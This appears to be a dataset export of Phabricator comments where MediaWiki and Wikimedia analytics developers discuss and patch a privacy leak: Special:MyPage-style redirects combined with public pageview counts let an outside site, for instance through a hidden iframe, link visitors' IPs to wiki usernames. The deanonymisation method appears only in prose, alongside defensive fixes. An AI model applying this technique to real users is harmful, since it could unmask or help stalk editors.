+Even on a big wiki, if you can convince the user to load special:mypage via say a hidden iframe, you can just as easily convince them to load it 500 times to get above the noise of normal traffic.",,,1442243692,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,0,0,1,0,0,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+526636,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"> Well this solution does seem kind of icky due to all the special casing very early in the MW setup process, I will admit its elegant in that
+> * Not specific to our setup. Would work with other analytic setups that third parties might use.
+> * Does not require extra url parameters that user's could forge, or really long ugly tokens.
+> * Would allow us to do something like ""redirected from Special:MyPage"", although this patch does not do that (or other things like setting rel=canonical link)
+
+I'm starting to think this might be the way to go, since I think this would also prevent the attack on very low traffic wikis where there might only be a handful of visits to User: namespace pages in an hour, so even sending the user to just Special:MyPage could leak that the user was one of small subset of users.
+",,,1442239581,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,1,1,1,0,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+526628,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1632767, @Milimetric wrote:
+> Wait, that sounds like you're talking about a query parameter called dnt=1.  I was talking about adding that to the X-Analytics header of the response, as you did in your patch, but ignoring whether or not the target of the redirect exists as a user page.  That seems like it would solve the more specific targeted attack you were worried about.
+
+The problem is the header in the response won't be sent back with the next request from the client (following the 302). The next request is what leaks the private data. So either a query parameter or cookie would have to be used for this method.
+",,,1442239048,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,1
+526099,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"
+> 
+> My question is when using the X-analytics:dnt=1 header, where does and where does not appear the visit on the different log and stats? To avoid the leak, the only thing it needs is not appear in page counts. It can still appear on all wikimedia logs and stats. So I thought that setting the header would just remove it from page counts and so would not impact other internal stats as the ones needed for ""tracking visiting stats of the target of Special:MyLanguage"" but maybe I'm wrong.
+
+Oh my bad, I was using page stats and the public page counts as synonyms. I meant just the public page counts (e.g.the stuff on dumps.wikimedia.org , stats.grok.se etc)",,,1442133149,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,1,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,1
+526091,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>Do you mean that in the envision setting the visits are not tracked? What I thought is that they will simply not appear in public page counts?
+> 
+> I'm not sure what you mean by this. Currently Special:MyLanguage/foo redirects to foo/en-gb or foo/fr, etc based on a setting in Special:Preferences. This yields a small amount of private info being leaked by the public stats, which could be exploited, but seems like it would be much more difficult to exploit, compared to Special:MyPage.
+
+My question is when using the X-analytics:dnt=1 header, where does and where does not appear the visit on the different log and stats? To avoid the leak, the only thing it needs is not appear in page counts. It can still appear on all wikimedia logs and stats. So I thought that setting the header would just remove it from page counts and so would not impact other internal stats as the ones needed for ""tracking visiting stats of the target of Special:MyLanguage"" but maybe I'm wrong.",,,1442132338,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,10,True,1,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,1,1,1,0,0,1,1,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+526088,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">I did not know of other special pages which redirect. Is there a list somewhere to be sure that none is missed?
+
+I used grep to try to find special pages that extend RedirectSpecialPage (or its subclass RedirectSpecialArticle). There's also Special:Redirect that is outside this class hierarchy, but does not appear exploitable. 
+
+>Do you mean that in the envision setting the visits are not tracked? What I thought is that they will simply not appear in public page counts?
+
+I'm not sure what you mean by this. Currently Special:MyLanguage/foo redirects to foo/en-gb or foo/fr, etc based on a setting in Special:Preferences. This yields a small amount of private info being leaked by the public stats, which could be exploited, but seems like it would be much more difficult to exploit, compared to Special:MyPage.",,,1442131356,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+526086,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1633566, @Bawolff wrote:
+> For reference, there's also similar issues with
+> 
+> * Special:MyTalk
+> * Special:MyContributions  (redirects to Special:Contributions/Username)
+> * Special:MyUploads
+> * Special:AllMyUploads
+> 
+
+I did not know of other special pages which redirect. Is there a list somewhere to be sure that none is missed?
+
+> In theory (albeit probably much more difficult to actually exploit), you could use Special:MyLanguage to narrow down which language the user has set in pref, and maybe from there figure out who's visiting your website if you have a small set of potential visitors, who all speak different languages. It should be noted, that its probably much more important to track visiting stats of the target of Special:MyLanguage, then it is for other redirect specials)
+
+Do you mean that in the envision setting the visits are not tracked? What I thought is that they will simply not appear in public page counts?",,,1442130599,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,10,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,1,1,0,1,0,1,1,0,1,1,1,0,1,0,1,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+525991,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1633632, @Bawolff wrote:
+> How do I attach a patch to a bug in phab? I think I'm missing something obvious
+
+Same way as you attached other files: Drag it into the comment area.",,,1442088206,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+525866,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"And it just occurred to me, that my above comment would [probably] pollute varnish cache for anons (Which would be bad). Treat it as just a proof-of-concept for a direction which we're probably not going in anyways.",,,1442060208,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,1
+525858,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"For reference, here's what @xcombelle's solution would look like (How do I attach a patch to a bug in phab? I think I'm missing something obvious)
+
+```
+commit 0844d710a5d2a89b2ddae188daf0a9939d9adca0
+Author: Brian Wolff <bawolff+wn@gmail.com>
+Date:   Sat Sep 12 04:27:41 2015 -0600
+
+    Make Special:MyPage and friends fake redirect to prevent info leak
+    
+    This prevents a malicious person from using external resources on
+    their website to cause the victim's web browser to load
+    Special:MyPage -> User:Username, and then looking it up in the
+    page hit statistics in order to correlate IPs from the malicious
+    person's server log, with usernames on wiki.
+    
+    Bug: T109724
+    Change-Id: I9377d68db738164f17d4135857e83c80c0544335
+
+diff --git a/includes/MediaWiki.php b/includes/MediaWiki.php
+index fbacb25..18cb701 100644
+--- a/includes/MediaWiki.php
++++ b/includes/MediaWiki.php
+@@ -242,8 +242,25 @@ class MediaWiki {
+ 		// Handle any other redirects.
+ 		// Redirect loops, titleless URL, $wgUsePathInfo URLs, and URLs with a variant
+ 		} elseif ( !$this->tryNormaliseRedirect( $title ) ) {
++			# Prevent information leak via Special:MyPage et al (T109724)
++			if ( $title->isSpecialPage() ) {
++				$specialPage = SpecialPageFactory::getPage( $title->getDBKey() );
++				if ( $specialPage instanceof RedirectSpecialPage ) {
++					list( , $subpage ) = SpecialPageFactory::resolveAlias( $title->getDBKey() );
++					$target = $specialPage->getRedirect( $subpage );
++					// target can also be true. We let that case fall through to normal processing.
++					if ( $target instanceof Title ) {
++						$query = $specialPage->getRedirectQuery() ?: array();
++						$request = new DerivativeRequest( $this->context->getRequest(), $query );
++						$request->setRequestURL( $this->context->getRequest()->getRequestURL() );
++						$this->context->setRequest( $request );
++						$this->context->setTitle( $target );
++						$title = $target;
++					}
++				}
++			}
+ 
+-			// Special pages
++			// Special pages ($title may have changed since if statement above)
+ 			if ( NS_SPECIAL == $title->getNamespace() ) {
+ 				// Actions that need to be made when we have a special pages
+ 				SpecialPageFactory::executePath( $title, $this->context );
+```
+
+Well this solution does seem kind of icky due to all the special casing very early in the MW setup process, I will admit its elegant in that
+* Not specific to our setup. Would work with other analytic setups that third parties might use.
+* Does not require extra url parameters that user's could forge, or really long ugly tokens.
+* Would allow us to do something like ""redirected from Special:MyPage"", although this patch does not do that (or other things like setting rel=canonical link)",,,1442057831,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,1,1,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,0,1
+525843,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"For reference, there's also similar issues with
+
+* Special:MyTalk
+* Special:MyContributions  (redirects to Special:Contributions/Username)
+* Special:MyUploads
+* Special:AllMyUploads
+
+In theory (albeit probably much more difficult to actually exploit), you could use Special:MyLanguage to narrow down which language the user has set in pref, and maybe from there figure out who's visiting your website if you have a small set of potential visitors, who all speak different languages. It should be noted, that its probably much more important to track visiting stats of the target of Special:MyLanguage, then it is for other redirect specials)
+",,,1442053860,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+525837,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"
+> Wait, that sounds like you're talking about a query parameter called dnt=1.  I was talking about adding that to the X-Analytics header of the response, as you did in your patch, but ignoring whether or not the target of the redirect exists as a user page.  That seems like it would solve the more specific targeted attack you were worried about.
+
+How do you distinguish between someone getting to the user page via Special:Mypage, and someone visiting the user page directly. Presumably we still want to track user page statistics generally and just exclude Special:Mypage based visits.
+
+",,,1442051364,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+525681,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1632190, @csteipp wrote:
+>>>! In T109724#1630521, @Milimetric wrote:
+>> I have to ask, why not just dnt=1 all the redirects to User:<<...>> from Special:MyPage?  We could still get basic stats on the original Special:MyPage that caused the redirect, without leaking any personal info.  And it seems safer and easier to implement.  Unless we care for some reason about invididual stats of those personalized redirects, it seems safer to just dnt regardless of user page existence.
+> 
+> It seems more fragile to me. If some other extension happens to add a query parameter 'dnt' to a special page, then we could accidentally lose page hits.
+> 
+> That said, I'll try to get a patch for that soon. I think it should be trivial.
+
+Wait, that sounds like you're talking about a query parameter called dnt=1.  I was talking about adding that to the X-Analytics header of the response, as you did in your patch, but ignoring whether or not the target of the redirect exists as a user page.  That seems like it would solve the more specific targeted attack you were worried about.
+
+By the way, maybe this thread is too confusing now and we should meet on hangout?  It might help speed up the fix.  I'm available anytime for that.",,,1442009274,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,10,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1
+525543,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1630521, @Milimetric wrote:
+> I have to ask, why not just dnt=1 all the redirects to User:<<...>> from Special:MyPage?  We could still get basic stats on the original Special:MyPage that caused the redirect, without leaking any personal info.  And it seems safer and easier to implement.  Unless we care for some reason about invididual stats of those personalized redirects, it seems safer to just dnt regardless of user page existence.
+
+It seems more fragile to me. If some other extension happens to add a query parameter 'dnt' to a special page, then we could accidentally lose page hits.
+
+That said, I'll try to get a patch for that soon. I think it should be trivial.",,,1442001756,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1
+525225,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"I have to ask, why not just dnt=1 all the redirects to User:<<...>> from Special:MyPage?  We could still get basic stats on the original Special:MyPage that caused the redirect, without leaking any personal info.  And it seems safer and easier to implement.  Unless we care for some reason about invididual stats of those personalized redirects, it seems safer to just dnt regardless of user page existence.",,,1441980961,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,10,True,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,1
+524979,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1628569, @csteipp wrote:
+> {F2566555}
+> 
+> Simple patch to add dnt=1 into x-analytics for User / User_talk namespace pages that don't exist.
+> 
+> An attacker can still send the user to just Special:MyPage on a wiki where they hope the user has created their userpage, and that might narrow down the user to a set of potential users. But that would only work for very targeted attacks, and I'm not sure if that's in the same category of adding a clearly wrong reference in an article to a site you own, log the IP's referred from the wiki, and then watching which account deletes it on wiki.
+
+It's good because it is simple and remove a class of attack. It's far better than the current way. I'm concerned that it doesn't remove all the attack. And more targeted attack are on valuables target, not random one. There is a difference with the other scenario is that the other scenario needs an active action from the user. ",,,1441951434,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,10,True,1,0,1,0,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,0,1,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,1
+524965,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1628569, @csteipp wrote:
+> {F2566555}
+> 
+> Simple patch to add dnt=1 into x-analytics for User / User_talk namespace pages that don't exist.
+> 
+> An attacker can still send the user to just Special:MyPage on a wiki where they hope the user has created their userpage, and that might narrow down the user to a set of potential users. But that would only work for very targeted attacks, and I'm not sure if that's in the same category of adding a clearly wrong reference in an article to a site you own, log the IP's referred from the wiki, and then watching which account deletes it on wiki.
+
+I'd be concerned about a targeted attack to try to out a specific user's identity (or rough geographic location). Its not unheard of for prominent Wikipedians to get stalked.",,,1441945152,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,0,0,1,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+524825,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"{F2566555}
+
+Simple patch to add dnt=1 into x-analytics for User / User_talk namespace pages that don't exist.
+
+An attacker can still send the user to just Special:MyPage on a wiki where they hope the user has created their userpage, and that might narrow down the user to a set of potential users. But that would only work for very targeted attacks, and I'm not sure if that's in the same category of adding a clearly wrong reference in an article to a site you own, log the IP's referred from the wiki, and then watching which account deletes it on wiki.",,,1441923285,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,0,0,1,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+524475,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1619307, @Bawolff wrote:
+> From a MediaWiki code prespective, to do what you're referring to as a ""soft redirect"", we would have to add a special case to MediaWiki::initializeArticle (or use the InitializeArticleMaybeRedirect hook). It would be much cleaner to just make special:mypage add a url paramter to the page it redirects to, and set mediawiki to add the dnt header on detection of that url parameter (if we're worried about people forging the header, it could be hashed with some secret/time sensitive or something). However, this would look less elegant to the user (And I'm unclear how it would interact with varnish cache. Presumably we would only send the header if the user is logged in, and then that would be less of a concern. There's also the issue about if varnish would override the header that csteipp is talking about, which I have no idea about)
+
+The solution of an url parameter looks working. What I like in it is it's implementation simplicity (as far as I understand  it) which means less bug. The need of elegance for the user should be pounder as the uses of Special:MyPage are pretty rare and we are speaking of a url that a lots of final user know very few  if any about.
+
+>>! In T109724#1622649, @csteipp wrote:
+>> Otherwise, I guess we could save a cookie in the outbound redirect in step 5, then detect the cookie, set the header, and delete the cookie in step 6. It could be known as the ""DNT this redirect cookie""
+> 
+> That is possible. Again seems a like a hack, but maybe less than a url param.
+
+This solution looks more brittle than the url param one as the cookies are set and deleted from different request and nothing prevent a race condition which could be happen by launching several request in close time.",,,1441903273,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,10,True,1,1,1,1,0,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1
+524382,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"> So if we set a DNT=1 in the X-Analytics header of the response in step 8, can the code that converts webrequests to pageviews be updated to respect that an drop the count from pageviews?
+
+
+Yes, definitely, I'll get a patch ready as soon as you decide to do this.  I double checked with Andrew and we agree that makes sense, because the request is not logged by varnishkafka until the response is being sent out (so we have the response code, time to first byte, etc.)",,,1441899116,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+523805,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"> is it possible to change the GET in step 6. in Chris's diagram?
+
+Since this is a full http redirect, we don't control any of the code actually making the redirect. We just tell the browser where to go next. We could possible add a parameter to the request, so the browser does a GET for en.wikipedia.org/wiki/User:Foo/THISDOESNOTEXIST?dnt=1. But that seems hacky to me.
+
+> Otherwise, I guess we could save a cookie in the outbound redirect in step 5, then detect the cookie, set the header, and delete the cookie in step 6. It could be known as the ""DNT this redirect cookie""
+
+That is possible. Again seems a like a hack, but maybe less than a url param.
+
+Looking at https://wikitech.wikimedia.org/wiki/Analytics/Data/Webrequest again, it lists,
+
+```
+x_analytics         	string              	X-Analytics header of response
+```
+
+So if we set a DNT=1 in the X-Analytics header of the response in step 8, can the code that converts webrequests to pageviews be updated to respect that an drop the count from pageviews?",,,1441834786,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,9,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1
+523804,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"
+>  is it possible to change the GET in step 6. in Chris's diagram?
+
+Since this is a full http redirect, we don't control any of the code actually making the redirect. We just tell the browser where to go next. We could possible add a parameter to the request, so the browser does a GET for en.wikipedia.org/wiki/User:Foo/THISDOESNOTEXIST?dnt=1. But that seems hacky to me.
+
+> Otherwise, I guess we could save a cookie in the outbound redirect in step 5, then detect the cookie, set the header, and delete the cookie in step 6. It could be known as the ""DNT this redirect cookie""
+
+That is possible. Again seems a like a hack, but maybe less than a url param.
+
+Looking at https://wikitech.wikimedia.org/wiki/Analytics/Data/Webrequest again, it lists,
+
+```
+x_analytics         	string              	X-Analytics header of response
+```
+
+So if we set a DNT=1 in the X-Analytics header of the response in step 8, can the code that converts webrequests to pageviews be updated to respect that an drop the count from pageviews?",,,1441834771,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,9,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1
+523623,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"That diagram helps me understand this Sooo much better.  Thanks very much @csteipp.  So, @Bawolff, is it possible to change the GET in step 6. in Chris's diagram?  If we have access to the code that follows that redirect, then let's make the change there.  Otherwise, I guess we could save a cookie in the outbound redirect in step 5, then detect the cookie, set the header, and delete the cookie in step 6.  It could be known as the ""DNT this redirect cookie""",,,1441820744,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,1,0,1,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,0,1,0,0
+523203,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1617473, @xcombelle wrote:
+> @csteipp or somebody else: Could a developer of mediawiki be involved for analysis of my ""soft"" redirect solution ?
+> 
+> As I understand,  for the moment, mainly analytics persons are involved 
+> and they envision the problem in filtering the log because don't modify the mediawiki product (see for example https://phabricator.wikimedia.org/T109724#1602558  )
+> but in my opinion the best way to solve it, if doable,   is to not making the request so nothing appear in the log.
+> 
+> It is the idea of ""soft"" redirect from [[Special:MyPage]] kind of pages to  [[User:Xavier Combelle]] likes.
+> By ""soft"" redirect I called something similar of what happen when redirecting [[UK]] to [[United Kindom]] which doesn't do a round-trip to the server
+> 
+> I exposed this idea in these comments (https://phabricator.wikimedia.org/T109724#1601249 https://phabricator.wikimedia.org/T109724#1610437)
+
+From a MediaWiki code prespective, to do what you're referring to as a ""soft redirect"", we would have to add a special case to MediaWiki::initializeArticle (or use the InitializeArticleMaybeRedirect hook). It would be much cleaner to just make special:mypage add a url paramter to the page it redirects to, and set mediawiki to add the dnt header on detection of that url parameter (if we're worried about people forging the header, it could be hashed with some secret/time sensitive or something). However, this would look less elegant to the user (And I'm unclear how it would interact with varnish cache. Presumably we would only send the header if the user is logged in, and then that would be less of a concern. There's also the issue about if varnish would override the header that csteipp is talking about, which I have no idea about)",,,1441775066,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,9,True,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1
+523083,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@Milimetric,
+
+{F2559476}
+
